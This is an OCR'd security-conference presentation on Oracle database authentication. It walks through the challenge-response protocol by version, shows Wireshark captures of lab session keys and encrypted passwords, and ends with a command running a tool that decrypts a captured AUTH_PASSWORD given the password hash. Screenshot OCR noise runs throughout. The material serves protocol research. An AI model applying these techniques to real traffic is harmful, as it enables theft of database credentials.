Oracle authentication

Includes Includes

ord PTR DS:L777E20003 DRD PTR DS:E4&KERNEL32.TIsSetValukernel32.TIsSetValue

omp Push

László Tóth

donctl@gmail.com

Disclaimer

The views expressed in this presentation are my own and not necessarily the views of my current, past or future employers.

Content

- Introduction
- Oracle native athentication (database)
- Downgrade
- Windows authentication
- Module for Squirtle
- pytnsproxy

Introduction

- The Oracle authentication is a subject rarely covered
- The Oracle Advanced Security can be used for the communication encryption, but it is of additional cost
- The communication between the client and the server is rarely encrypted

- "Challenge-response" protocol
- The used crypto is getting stronger between the versions
 The Java (thin) driver behaves differently than the native (oci) driver

to Secur32.77FEA8A2 from Secur3.



74 VMware Virtual Ethernet Adapter: Capturing - Wireshark

Oranit alcou

<u>File Edit View Go Capture Analyze Statistics Help</u>

E M M M M E M X 2 L Q + + + T L E E C Q Q M M M M M M M M

Eilter:		▼ <u>E</u> xpression	<u>C</u> lear <u>A</u> pply
Source	Destination	Protocol	Info
$192.168.61.1 \\192.168.61.11 \\192.168.61.1 $	$192.168.61.11 \\192.168.61.1 $	TNS TNS TNS TNS TNS TNS TNS TNS TNS TNS	Request, Connect (1), Connect Response, Resend (11) Request, Connect (1), Connect Response, Accept (2), Accept Request, Data (6), SNS Response, Data (6), SNS Request, Data (6), Data Response, Data (6), Data Request, Data (6), Data Response, Data (6), Data Request, Data (6), Data Request, Data (6), Data Response, Data (6), Data Response, Data (6), Data
192.168.61.11	192.168.61.1	TNS	Response, Data (6), Data
192.108.01.1	192.108.01.11		Request, Data (6), Data
$\begin{array}{cccccccccccccccccccccccccccccccccccc$	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	1 08 00 45 8 3d 01 c0 0 8d 8a 50 0 00 00 00 1 01 50 52 4 48 5f 54 b 6e 6f 77 f 47 52 41 4 68 69 6e 5 54 48 5f 3 74 31 32 1 04 04 31 3 49 44 01	00)g2P VE. a8'@y[(P. 18 =y[(P. 00]PRO 45 V 45 V.TESTAUTH_TE 6e RMINALunknown 4dAUTH _PROGRAM 20 _NMJD BC Thin 4d ClientAUTH_M 00 ACHINEtest12. 32AUTH_ PID12 05 34AU TH_SID .ltoth.

/Mware Virtual Ethernet Adapter: <live capture i... Packets: 26 Displayed: 26 Marked: 0

🔼 VMware Virtual Ethernet Adapter: Capturing - Wireshark

Orapit alcou

<u>File Edit View Go Capture Analyze Statistics Help</u>

<u>F</u> ilter:													▼ <u>E</u> ×	pressi	on	<u>C</u> lear	<u>A</u> pply						
Source						Des	tinatio	on					Prot	tocol		Info							
192.	168.	61.3	1			19	2.1	L68.	61.1	1			TN	S		Re	quest,	Conne	ect (1), C	onne	ct	
192.	168.	61.3	11			19	2.1	L68.	61.1	_			TN	S		Re	sponse,	Rese	end (11)			
192.	168.	61.3	1			19	2.1	.68	61.1	.1			TN	S		Re	quest,	Conne	ect (1), C	onne	ct	
192.	168.	61.3	11			19	2.1	.68	61.1	_			TN	S		Re	sponse.	, Acce	ept (2), A	ccep	t	
192.	168.	61.3	1			19	2.1	.68	61.1	.1			TN	S		Re	quest,	Data	(6),	SNS			
192.	168.	61.3	11			19	2.1	L68.	61.1	_			TN	S		Re	sponse,	, Data	a (6)	, SNS			
192.	168.	61.3	1			19	2.1	L68.	61.1	.1			TN	S		Re	quest,	Data	(6),	Data			
192.	168.	61.3	11			19	2.1	.68	61.1	_			TN	S		Re	sponse,	, Data	a (6)	, Dat	a		
192.	168.	61.3	1			19	2.1	.68	61.1	.1			TN	S		Re	quest,	Data	(6),	Data			
192.	168.	61.3	11			19	2.1	.68	61.1	_			TN	S		Re	sponse.	, Data	a (6)	, Dat	a		
192.	168.	61.3	1			19	2.1	.68	61.1	.1			TN	S		Re	quest,	Data	(6),	Data			
192.	168.	61.3	11			19	2.1	L68.	61.1	_			TN	S		Re	sponse,	, Data	a (6)	, Dat	a		
192.	168.	61.3	1			19	2.1	L68.	61.1	.1			TN	S		Re	quest,	Data	(6),	Data			
192.	168.	61.	11			19	2.1	L68.	61.1				TN	S		Re	sponse	, Data	a (6)	, Dat	a		
192.	168.	61.3	1			19	2.1	L68.	61.1	.1			TN	S		Re	quest,	Data	(6),	Data			
<																							
0000	00	50	56	<u>c</u> 0	00	01	00	00	29	67	32	89	08	00	45	00	P\/) a 2	F			
0010	00	71	7c	da	40	00	80	06	82	4f	c0	a8	3d	0h	c0	a8		a	02.	=			
0020	3d	01	05	f1	05	04	28	ŏŏ	8d	8a	17	c5	79	fc	50	18	=	. (.		V. P.			
0030	fa	fō	9b	ba	õõ	ŏò	00	49	00	00	06	00	00	òõ	00	00		· · · · I					
0040	08	01	01	01	0c	0c	41	55	54	48	5f	53	45	53	53	4b		AU	TH S	ESSK	_		
0050	45	59	01	10	10	45	36	45	37	38	38	43	39	45	38	34	EY.	.E6E	788C	9E84			
0060	33	32	44	37	37	00	04	01	02	00	00	00	00	00	00	00	32D7	7					
0070	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00					. /			

VMware Virtual Ethernet Adapter: Capturing - Wireshark

Oranit Rico.

File Edit View Go Capture Analyze Statistics Help

E M M M M E M X 2 L Q + + A 7 L E E C Q Q M M M M M M M M

Eliter:													Ex	pressio	on	<u>C</u> lear	<u>A</u> pply								
Source						Des	stinatio	on					Prot	ocol		Info									
192.	168.6	51.1	L			19	92.1	168.	61.1	1			TN	s		Rec	quest	t. Con	neo	ct (1)). C	onn	lect	t	
192.	168.0	51.1	1			19	92.1	L68.	61.1				TN	S		Res	spons	se, Re	ser	nd (11	1)				
192.	168.0	51.1	L			19	92.1	L68.	61.1	.1			TN	S		Rec	quest	t, Ćon	neo	ct (1)), c	onn	lect	t	
192.	168.0	51.1	L1			19	92.1	L68.	61.1	L			TN	S		Res	spons	sé, Ac	cep	pt (2)), A	cce	pt		
192.	168.0	51.1	L			- 19	92.1	L68.	61.1	.1			TN	S		Rec	quest	t, Dat	a ((6), 9	SNS				
192.	168.0	51.1	L1			19	92.1	L68.	61.1	L			TN	S		Res	spons	se, Da	ta	(6),	SNS				
192.	168.0	51.1	L			19	92.1	L68.	61.1	.1			TN	S		Rec	quest	t, Dat	a ((6), [Data				
192.	168.0	51.1	L1			19	92.1	L68.	61.1	L			TN	S		Res	spons	se, Da	ta	(6),	Dat	a			
192.	168.0	51.1	L			19	92.1	L68.	61.1	.1			TN	S		Rec	quest	t, Dat	a ((6), [Data				
192.	168.0	51.1	L1			19	92.1	L68.	61.1	L			TN	S		Res	spons	se, Da	ta	(6),	Dat	a			
192.	168.0	51.1	L			19	92.1	L68.	61.1	.1			TN	S		Rec	quest	t, Dat	a ((6), [Data				
192.	168.0	51.1	L1			19	92.1	L68.	61.1				TN	S		Res	spons	se, Da	ta	(6),	Dat	a			
192.	168.0	51.1	L			19	92.1	L68.	61.1	.1			ΤN	S		Rec	quest	t, Dat	a ((6), [Data				
192.	168.0	51.1	1			19	92.1	L68.	61.1	_			TN	S		Res	spons	se, Da	ta	(6),	Dat	a			
192.	168.0	1.1				_ 19	<u>92.1</u>	<u>168.</u>	61.1	11			IN	<u>S</u>		Rec	ques	t, Dat	<u>a</u> (<u>(6), l</u>	<u>Data</u>	L			
<																									
< 0000	00	0c	29	67	32	89	00	50	56	c 0	00	01	08	00	45	00		.)g2[Ρ\	v	.E.				
<0000 0010	00	0c 71	29 3a	67 2b	32 40	89 00	00 80	50 06	56 c2	c0 fe	00 c0	01 a8	08 3d	00 01	45 c0	00 a8		.)g2[q:+@	Р\ 	V	.E.				
<pre>< 0000 0010 0020 0020</pre>	00 02 3d	0c 71 0b	29 3a 05	67 2b 04	32 40 05	89 00 f1	00 80 17	50 06 c5	56 c2 79	c0 fe fc	00 c0 28	01 a8 00	08 3d 8d	00 01 d3	45 c0 50	00 a8 18	 . (=.	.)g2 g:+@	Р \ . У	V=. =. V.(.E. .P.				
<pre> 0000 0010 0020 0030 0040</pre>	00 02 3d fa	0c 71 0b d5	29 3a 05 cd	67 2b 04 a3	32 40 05 00	89 00 f1 00	00 80 17 02	50 06 c5 49	56 c2 79 00	c0 fe fc 00	00 c0 28 06	01 a8 00 00	08 3d 8d 00	00 01 d3 00	45 c0 50 00	00 a8 18 00	 .(=.	.)g2[q:+@	Р\ У Т	V=. y.(.E. .P.				
<pre></pre> <pre>0000 0010 0020 0030 0040 0050</pre>	00 02 3d fa 03	0c 71 0b d5 73 58	29 3a 05 cd 00 50	67 2b 04 a3 01	32 40 05 00 01 45	89 00 f1 00 09 53	00 80 17 02 02 54	50 06 c5 49 01	56 c2 79 00 01	c0 fe fc 00 01	00 c0 28 06 01	01 a8 00 00 08 55	08 3d 8d 00 01 54	00 01 d3 00 01 48	45 c0 50 00 50 50	00 a8 18 00 52 50	 .0 =.	.)g2]:+@	Р\ . У Т	/=. y.(. E . . P . 				
<pre></pre> <pre>0000 0010 0020 0030 0040 0050 0060</pre>	00 02 3d fa 03 4f 41	0c 71 0b d5 73 58 53	29 3a 05 cd 00 59 53	67 2b 04 a3 01 54 57	32 40 05 00 01 45 4f	89 00 f1 00 09 53 52	00 80 17 02 02 54 44	50 06 c5 49 01 01	56 c2 79 00 01 0d 21	c0 fe fc 00 01 0d 21	00 c0 28 06 01 41 45	01 a8 00 00 08 55 31	08 3d 8d 00 01 54 43	00 01 d3 00 01 48 42	45 c0 50 00 50 51 35	00 a8 18 00 52 50 39	 	.)g2 q:+@ (YTEST)	P V . y 	V=. V.(AUTH	. E . . P . H_P				Į
<pre> 0000 0010 0020 0030 0040 0050 0060 0070 </pre>	00 02 3d fa 03 4f 41 39	0c 71 0b d5 73 58 53 37	29 3a 05 cd 00 59 53 38	67 2b 04 a3 01 54 57 36	32 40 05 00 01 45 4f 37	89 00 f1 00 09 53 52 44	00 80 17 02 02 54 44 36	50 06 c5 49 01 01 01 44	56 c2 79 00 01 0d 21 38	c0 fe fc 00 01 0d 21 43	00 c0 28 06 01 41 45 36	01 a8 00 00 08 55 31 41	08 3d 8d 00 01 54 43 31	00 01 d3 00 01 48 42 46	45 c0 50 00 50 5f 35 30	00 a8 18 00 52 50 39 38	 =.) g2 q:+@ (y:+@ (y:+@ (y:+@ (y:+@ (y:+@ (y:+@ (y:+@) (y:+@.	PV y !	V=. V.(AUTH !!E1CE BC6A1E	.E. .P. .P. H_P 359 =08				
<pre> 0000 0010 0020 0030 0040 0050 0060 0070 0080 </pre>	00 02 3d fa 03 4f 41 39 45	0c 71 0b d5 73 58 53 37 36	29 3a 05 cd 00 59 53 38 43	67 2b 04 a3 01 54 57 36 31	32 40 05 00 01 45 4f 37 38	89 00 f1 00 09 53 52 44 30	00 80 17 02 02 54 44 36 41	50 06 c5 49 01 01 01 44 42	56 c2 79 00 01 0d 21 38 31	c0 fe fc 00 01 0d 21 43 42	00 c0 28 06 01 41 45 36 37	01 a8 00 00 08 55 31 41 00	08 3d 8d 00 01 54 43 31 01	00 01 d3 00 01 48 42 46 0d	45 c0 50 00 50 51 35 30 0d	00 a8 18 00 52 50 39 38 41)g2 g:+@ (y+@ (y+@ (y+@ (y+@ (y+@ (y+@ (y+@) (y+	PV . y . y . ! . 1	V=. V.(AUTH !!E1CE 3C6A1F LB7	.E. .P. H_P 359 =08 A				
<pre> 0000 0010 0020 0030 0040 0050 0060 0070 0080 0090 </pre>	00 02 3d fa 03 4f 41 39 45 55	0c 71 0b d5 73 58 53 37 36 54	29 3a 05 cd 00 59 53 38 43 48	67 2b 04 a3 01 54 57 36 31 5f	32 40 05 00 01 45 4f 37 38 54	89 00 f1 00 09 53 52 44 30 45	00 80 17 02 02 54 44 36 41 52	50 06 c5 49 01 01 01 44 42 4d	56 c2 79 00 01 0d 21 38 31 49	c0 fe fc 00 01 0d 21 43 42 4e	00 c0 28 06 01 41 45 36 37 41	01 a8 00 00 08 55 31 41 00 4c	08 3d 8d 00 01 54 43 31 01 00	00 01 d3 00 01 48 42 46 0d 00	45 c0 50 00 50 5f 35 30 0d 01	00 a8 18 00 52 50 39 38 41 0f	 	.)g2 g:+@ syrtest ssword 7867D60 5c180AB TH_TER1	P V y ! B 1 M 1	V=. V.(AUTH !!E1CE 3C6A1F 1B7 INAL	.E. .P. .P. H_P 359 ₹08 A				
0000 0010 0020 0030 0040 0050 0060 0070 0080 0090 0080 0090 00a0	00 02 3d fa 03 4f 41 39 45 55 0f	0c 71 0b d5 73 58 53 37 36 54 41	29 3a 05 cd 00 59 53 38 43 48 55	67 2b 04 a3 01 54 57 36 31 5f 54	32 40 05 00 01 45 4f 37 38 54 48	89 00 f1 00 09 53 52 44 30 45 5f	00 80 17 02 54 44 36 41 52 50	50 06 c5 49 01 01 01 44 42 4d 52	56 c2 79 00 01 0d 21 38 31 49 4f	c0 fe fc 00 01 0d 21 43 42 4e 47	00 c0 28 06 01 41 45 36 37 41 52	01 a8 00 00 08 55 31 41 00 4c 41	08 3d 8d 00 01 54 43 31 01 00 4d	00 01 d3 00 01 48 42 46 0d 00 5f	45 c0 50 50 50 5f 35 30 0d 01 4e	00 a8 18 00 52 50 39 38 41 0f 4d	 	.)g2 g:+@ KYTEST SSWORD 7867D60 5C180A0 FH_TER1 NUTH_PF	P V y ! ! B 1 R C	V=. V.(AUTH !!E1CE 8C6A1F LB7 INAL OGRAM	. E. . P. . P. H_P 359 =08 A				
 00000 0010 0020 0030 0040 0050 0060 0070 0080 0090 0080 0090 0080 0090 0080 	00 02 3d fa 03 4f 41 39 45 55 0f 01	0c 71 0b d5 73 58 53 37 36 54 41 10	29 3a 05 cd 00 59 53 38 43 48 55 10	67 2b 04 a3 01 54 57 36 31 5f 54 4a	32 40 05 00 01 45 4f 37 38 54 48 44	89 00 f1 00 09 53 52 44 30 45 5f 42	00 80 17 02 02 54 44 36 41 52 50 43	50 06 c5 49 01 01 01 44 42 4d 52 20	56 c2 79 00 01 0d 21 38 31 49 4f 54	c0 fe fc 00 01 0d 21 43 42 4e 47 68	00 28 06 01 41 45 36 37 41 52 69	01 a8 00 00 08 55 31 41 00 4c 41 6e	08 3d 8d 00 01 54 43 31 01 00 4d 20	00 01 d3 00 01 48 42 46 0d 00 5f 43	45 c0 50 00 50 5f 35 30 0d 01 4e 6c	00 a8 18 00 52 50 39 38 41 0f 4d 69)g2 g:+@ xytest ssword 7867D60 50180A0 FH_TERI NUTH_PF JDBC	P V D 8 B 1 M I R C	V 	.E. .P. .P. H_P 559 =08 A Cli				
 00000 0010 0020 0030 0040 0050 0060 0070 0080 0090 0080 0090 0000 0000 	00 02 3d fa 03 4f 41 39 45 55 0f 01 65	0c 71 0b d5 73 58 53 37 36 54 41 10 6e	29 3a 05 cd 00 59 53 38 43 48 55 10 74	67 2b 04 a3 01 54 57 36 31 5f 54 4a 00	32 40 05 00 01 45 4f 37 38 54 48 44 01	89 00 f1 00 09 53 52 44 30 45 5f 42 0c	00 80 17 02 02 54 44 36 41 52 50 43 00	50 06 c5 49 01 01 01 44 42 4d 52 20 41	56 c2 79 00 01 0d 21 38 31 49 4f 54 55	c0 fe fc 00 01 0d 21 43 42 4e 47 68 54	00 28 06 01 41 45 36 37 41 52 69 48	01 a8 00 00 08 55 31 41 00 4c 41 6e 5f	08 3d 8d 00 01 54 43 31 01 00 4d 20 4d	00 01 d3 00 01 48 42 46 0d 00 5f 43 41	45 c0 50 50 50 5f 35 30 0d 01 4e 6c 43	00 a8 18 00 52 50 39 38 41 0f 4d 69 48)g2 g:+@ xyrtest ssword 7867D60 56180A0 FH_TERI NJTH_PF .JDBC	P V y ! D 8 B 1 M I R C T A U	V 	.E. .P. H_P 359 =08 A A A				
 00000 0010 0020 00300 0040 0050 0060 0070 0080 0090 <	00 02 3d fa 03 4f 41 39 45 55 0f 01 65 49	0c 71 0b d5 73 58 53 37 36 54 41 10 6e	29 3a 05 cd 00 59 53 38 43 48 55 10 74 45	67 2b 04 a3 01 54 57 36 31 5f 54 4a 00 01	32 40 05 00 01 45 4f 37 38 54 48 44 01 06	89 00 f1 00 09 53 52 44 30 45 5f 42 0c 06	00 80 17 02 02 54 44 36 41 52 50 43 0C 74	50 06 c5 49 01 01 01 44 42 4d 52 20 41 65	56 c2 79 00 01 0d 21 38 31 49 4f 55 73	c0 fe fc 00 01 0d 21 43 42 4e 47 68 54 74	00 28 06 01 41 45 36 37 41 52 69 48 31 04	01 a8 00 00 85 31 41 00 4c 41 6e 5f 32	08 3d 8d 00 01 54 43 31 01 00 4d 20 4d 00	00 01 d3 00 01 48 42 46 00 5f 43 41 01 22	45 c0 50 00 50 50 50 50 50 50 00 50 01 4e 6c 43 02 43 02	00 a8 18 00 52 50 39 38 41 0f 4d 69 48 08	 	.)g2f q:+@ xyrtest ssword 7867D61 5c180AE TH_TERI NTH_PF JDBC nt	P \ 	V 	.E. .P. 				
 00000 0010 0020 00300 0040 0050 0060 0070 0080 0090 0080 0090 0000 0000 0000 0000 0000 0000 0000 0000 	00 02 3d fa 03 4f 41 39 45 55 0f 01 65 49 41	0c 71 0b d5 73 58 53 37 36 54 41 10 6e 4e 55	29 3a 05 cd 00 59 53 38 43 43 55 10 74 45 54	67 2b 04 a3 01 54 57 36 31 5f 54 4a 00 01 48	32 40 05 00 45 4f 37 38 54 48 44 01 06 5f	89 00 f1 00 09 53 52 44 30 45 5f 42 0c 06 50	00 80 17 02 02 54 44 36 41 52 50 43 0c 74 49	50 06 c5 49 01 01 01 44 42 4d 52 20 41 65 44	56 c2 79 00 01 0d 21 38 31 49 4f 54 55 73 01	c0 fe fc 00 01 21 43 42 4e 47 68 54 74 04	00 28 06 01 41 45 36 37 41 52 69 48 31 04	01 a8 00 00 85 31 41 00 4c 41 6e 5f 32 31	08 3d 8d 00 01 54 43 31 01 00 4d 20 4d 00 32	00 01 d3 00 01 48 42 46 0d 00 5f 43 41 01 33	45 c0 50 00 50 50 00 51 35 30 0d 01 4e 6c 43 08 34 34	00 a8 18 00 52 50 39 38 41 0f 4d 69 48 08 00	 	.)g2f g:+@ xyTEST. SSWORD. 7867D61 5C180AE TH_TERI NTH_PPI JDBC ntte JTH_PII	P \ y D 8 B 1 M 1 R 0 A U e s D .	V 	.E. .P. 				

- The client sends the username
- The server generates a random key, encrypts it with the hash of the user's password and sends it to the client
- The client decrypts the key and encrypts the clear text password of the user with the decrypted key
- The server decrypts the encrypted password, generates the hash and compares to the stored value

Version	Password hash algorithm	Encryption algorithm	Generated keys by the server and the client
8i	DES-based	DES	Just the server sends a key (challenge)
9i	DES-based	3DES	SHA1 is used to generate the 3DES key, just the server sends a key
10g	DES-based	AES-128	The generated keys of the server and client are XOR-ed an then MD5 is used
11g	SHA1	AES-192	The generated keys of the server and client are XOR-ed and then MD5 is used (because of the difference in the key length, there are some differences to the 10g version)
8i-10g Java Thin	DES-based	DES	Just the server sends a key (challenge)
11g Java Thin (ha 11g a szerver)	SHA1	AES-192	The generated keys of the server and client are XOR-ed and then MD5 is used (because of the difference in the key length, there are some differences to the 10g version)

🔼 VMware Virtual Ethernet Adapter: Capturing - Wireshark

le Edit View Go Capture Analyze Statistics Help

1 🕷 📽 😫 | 🖿 🐻 X 🍠 占 | 🔍 🗢 🧼 🛜 生 | 🗏 🗐 🖳 | 🗨 Q, 🔍 📅 | 👹 🗹 🕵 % | 💢

Eilter:	▼ Expression Clear Apply	
Source Destination	Protocol Info	
192.168.61.1 192.168.61.17	TNS Request, Connect (1), Conne	ct
192.168.61.17 192.168.61.1	TNS Response, Resend (11)	
192.168.61.1 192.168.61.17	TNS Request, Connect (1), Conne	ct
192.168.61.17 192.168.61.1	TNS Response, Accept (2), Accep	t
192.168.61.1 192.168.61.17	TNS Request, Data (6), SNS	
192.168.61.17 192.168.61.1	TNS Response, Data (6), SNS	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.1/ 192.168.61.1	TNS Response, Data (6), Data	
	INS Request, Data (6), Data	
	INS Response, Data (6), Data	
192.108.01.1 102.169.61.17 102.169.61.17	TNS Request, Data (6), Data	
	TNS Response, Data (6), Data	
	TNS Request, Data (0), Data	
	TNS Response, Data (6), Data	
192.108.01.1 192.108.01.17	TNS Request, Data (0), Data	
	TNS Pequest Data (6) Data	
<.		>
	5d 08 00 45 00 PV)w] E	
0010 01 86 c0 91 40 00 80 06 3d 7d c0	$a8 3d 11 c0 a8 \qquad a =$	
0020 3d 01 05 f1 1b 23 ff c1 ee fd 64	$5b \text{ af } 2e 50 \ 18 = \dots \# \dots \# d[\dots P]$	
0030 f7 00 77 3f 00 00 01 5e 00 00 06	00 00 00 00 00w?^	
0040 08 03 00 0c 00 00 00 0c 41 55 54	48 5f 53 45 53 AUTH_SES	
0050 53 4b 45 59 60 00 00 00 60 39 44	33 39 35 34 38 SKEY` `9D39548	
0060 43 41 35 32 36 42 30 45 44 34 44	30 46 35 33 43 CA526B0E D4D0F53C	
00/0 44 30 39 34 38 41 38 46 43 30 43	45 33 36 45 46 D0948A8F C0CE36EF	
0080 36 39 41 39 31 36 41 42 46 37 38	39 42 35 34 41 09A910AB F/89B54A	
0090 41 55 54 52 42 56 50 51 54 41 50	44 30 30 37 30 A342B001 4A0D0070 26 43 45 43 20 EE070801 0C66CEP0	
00b0 44 45 42 33 38 34 43 41 35 00 00	00 00 0d 00 00 DEB384CA 5	
00c0 00 0d 41 55 54 48 5f 56 46 52 5f	44 41 54 41 14 AUTH V FR DATA	
00d0 00 00 00 14 30 35 36 37 44 35 34	33 31 32 34 42 0567 D543124B	
00e0 37 42 45 41 42 30 44 31 25 1b 00	00 1a 00 00 00 7BEABOD1 %	
00f0 1a 41 55 54 48 5f 47 4c 4f 42 41	4c 4c 59 5f 55 .AUTH_GL OBALLY_U	
0100 4e 49 51 55 45 5f 44 42 49 44 00	20 00 00 00 20 NIQUE_DB ID	
0110 44 32 34 46 32 39 39 35 38 38 46	39 35 30 32 39 D24F2995 88F95029	
0120 46 43 44 44 30 45 38 41 46 33 45	44 44 35 39 38 FCDD0E8A F3EDD598	
VMware Virtual Ethernet Adapter: clive canture i	AT AA A	Profile: Default
This are than earlier House the sine capture this Packets, 210 Displayed, 210 F		Troner Serbert

74 VMware Virtual Ethernet Adapter: Capturing - Wireshark

Eile Edit View Go Capture Analyze Statistics Help

1 🕷 📽 😫 | 🖮 🖾 🗶 🥰 占 | 🔍 🗢 🧇 🐬 👱 | 🗐 📴 | 🗨 🔍 🔍 🔟 | 🖉 🖉 % | 💢

Eilter:		▼ Expression	. <u>C</u> lear <u>A</u> pply	
Source	Destination	Protocol	Info	
192.168.61.1	192.168.61.17	TNS	Request, Connect (1), Connect	
192.168.61.17	192.168.61.1	TNS	Response, Resend (11)	
192.168.61.1	192.168.61.17	TNS	Request, Connect (1), Connect	
192.168.61.17	192.168.61.1	TNS	Response, Accept (2), Accept	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), SNS	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), SNS	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), Data	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), Data	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), Data	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), Data	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), Data	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), Data	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), Data	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), Data	
192.168.61.1	192.168.61.17	TNS	Request, Data (6), Data	
192.168.61.17	192.168.61.1	TNS	Response, Data (6), Data	
102 168 61 1	107 168 61 17	TNC	Demiest Data (6) Data	
<				

0040	03	73	03	fe	ff	ff	ff	09	00	00	00	01	01	00	00	fe	.s				
0050	ff	ff	ff	12	00	00	00	fe	ff	ff	ff	fe	ff	ff	ff	09					
0060	70	72	6f	78	79	74	65	73	74	0c	00	00	00	0c	41	55	proxytes	tAU			
0070	54	48	5f	53	45	53	53	4b	45	59	60	00	00	00	fe	40	TH_SESSK	EY`@			
0080	42	33	43	39	46	34	33	34	37	41	43	33	33	39	35	30	B3C9F434	7AC33950			
0090	46	33	38	44	39	41	34	35	42	44	36	38	41	36	30	42	F38D9A45	BD68A60B	<u> </u>		
00a0	44	46	36	33	43	45	35	31	46	36	39	33	34	41	30	35	DF63CE51	F6934A05			
00b0	32	46	42	33	39	34	44	44	35	45	34	32	44	46	42	<u>0</u>	2FB394DD	5E42DFB0			
00c0	20	41	34	42	45	35	44	32	39	45	34	45	35	41	36	35	A4BE5D2	9E4E5A65			
00d0	45	43	46	33	45	36	32	46	38	42	30	32	30	46	36	34	ECF3E62F	8B020F64			
00e0	43	00	01	00	00	00	0d	00	00	00	0d	41	55	54	48	5f	C	AUTH_			
00f0	50	41	53	53	57	4f	52	44	40	00	00	00	40	36	36	39	PASSWORD	QQ669			
0100	35	42	32	44	41	31	39	30	42	34	31	45	44	41	34	39	5B2DA190	B41EDA49			
0110	45	32	45	30	43	41	44	46	45	42	45	37	39	37	38	42	E2E0CADF	EBE7978B			
0120	36	32	30	45	30	39	35	41	33	31	44	46	45	45	36	36	620E095A	31DFEE66			
0130	43	42	45	41	37	44	44	32	41	42	32	43	34	00	00	00	CBEA7DD2	AB2C4			
0140	00	08	00	00	00	08	41	55	54	48	5f	52	54	54	04	00	AU	TH_RTT			
0150	00	00	04	33	35	30	37	00	00	00	00	0d	00	00	00	0d	3507.				
0160	41	55	54	48	5f	43	4c	4e	54	5f	4d	45	4d	04	00	00	AUTH_CLN	T_MEM			
0170	00	04	27	20	20	26	00	00	00	00	04	00	00	00	04	11	1006	۸			
VMware V	irtual Et	therne	t Adap	oter: <	live ca	pture	i P	ackets:	215 Dis	splayed	d: 215	Marke	d: 0							Profile: Defaul	t

VMware Virtual Ethernet Adapter: Capturing - Wireshark

Go Capture Analyze Statistics Help View

Q Q 11

Eilter:	▼ Expression <u>C</u> lear <u>A</u> pply	
Source Destination	Protocol Info	
192.168.61.1 192.168.61.17	TNS Request, Connect (1), Connect	
192.168.61.17 192.168.61.1	TNS Response, Resend (11)	
192.168.61.1 192.168.61.17	TNS Request, Connect (1), Connect	
192.168.61.17 192.168.61.1	TNS Response, Accept (2), Accept	
192.168.61.1 192.168.61.17	TNS Request, Data (6), SNS	
192.168.61.17 192.168.61.1	TNS Response, Data (6), SNS	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.17 192.168.61.1	TNS Response, Data (6), Data	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.17 192.168.61.1	TNS Response, Data (6), Data	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.17 192.168.61.1	TNS Response, Data (6), Data	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.17 $192.168.61.1$	TNS Response, Data (6), Data	
192.168.61.1 192.168.61.17	TNS Request, Data (6), Data	
192.168.61.17 192.168.61.1	TNS Response, Data (6), Data	
102 168 61 1 102 168 61 17	cted (a) eten trainad 2NT	
<u><</u>		
U3/U UU 11 UU UU UU 11 41 55 54 48 5T 53	53 43 5T 53 50AU IH_SC_SV	
0380 43 57 46 4C 41 47 53 01 00 00 00 01	01 38 00 00 00 C_FLAGS8	
0390 00 11 00 00 00 11 41 55 54 48 5T 49	49 40 53 54 41AU IH_INSTA	
03a0 4e 43 45 4e 41 40 45 04 00 00 00 04 02 00 00 04	04 01 72 03 0C NCERAME01	
0300 00 00 00 00 11 00 00 00 11 41 33 34 03c0 52 5f 52 45 53 50 4f 40 53 45 60 00	00 00 00 60 41 P RESPONSE \	
03d0 47 35 47 41 37 31 45 43 33 34 36 41	A1 = 30 = A4 = 35 = 3A = B5BA21EC = 3A6A0D5A	
03e0 41 39 30 39 37 42 33 32 43 37 30 40	46 43 35 43 34 A9097B32 C70FC5C4	
03f0 35 30 36 33 42 31 46 38 31 44 34 4	43 42 38 32 37 5063B1F8 1D4CB827	
0400 46 39 45 35 41 36 36 45 39 34 37 38	38 42 37 34 3 F9E5A66E 9478B743	
0410 42 41 43 32 31 37 34 42 38 34 46 44	44 36 44 44 34 BAC2174B 84FD6DD4	

33 44 36 00

00 00 00 00

00 00 00

00 00 00 00 00

00 00 00 00 00 00

F96F7E81 597F3D6

. 6. . . .

Packets: 215 Displayed: 215 Marked: 0 VMware Virtual Ethernet Adapter; <live capture i.

00 00 00 00

00 00 00 00 00

37 45

00 00 00 00 03 00 00 00

00 00 00 a8 82 58 2e 00

00 00 00 00 00 00 00 00

38 31

35 39 37 46

00 00 36 01

00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

03 00 01

00 00 00 00

00

00 00

0420

0430

0440

0450

0460

0470

0480

0490

46 39

00 00

00 00 00

00 00 00

36 46 00 00 00 04 01 00 00 00

> 00 00

The main differences between the versions

- Stronger crypto algorithms
- Starting with 10g the client sends an AUTH_SESSKEY too and it is used for the password encryption with AUTH_SESSKEY from the server
- Starting with 11g the Java thin driver supports the stronger authentication algorithms
 The AUTH_SVR_RESPONSE can be a protection against server spoofing

Problems:

- "Off-line" brute-force
- If we have the password hash, we can decrypt the AUTH_PASSWORD and get the clear text password

to Secur32.77FEA8A2 from Secur32.1

C:\sun\oracle\ntlm\hacktivity\oradecrypt11g>oradecrypt11g.exe -s BC1B71A9AC5080A 73BE9EB0D559AB6DE4199DD93D9D45A373D7AC8276668E316986AF7D486E834A45F961517D9CE62A F -c 9D1580A295EA78D5A3773BA6DFAA60EE46D1EC857C84086A5D1D652CDDCC8EBA3EB2E59B87E 729F786F44CDD523E6043 -a 9FD926D6DE155559FF5094EE169ECFE605CB3082BD83CA38D82B95A 46AC3C0AE542CBE2826178A79246BF8AAB2EBCD68 -h 1D2F4C06C18FC543108349421B1F5AB365F 747D7

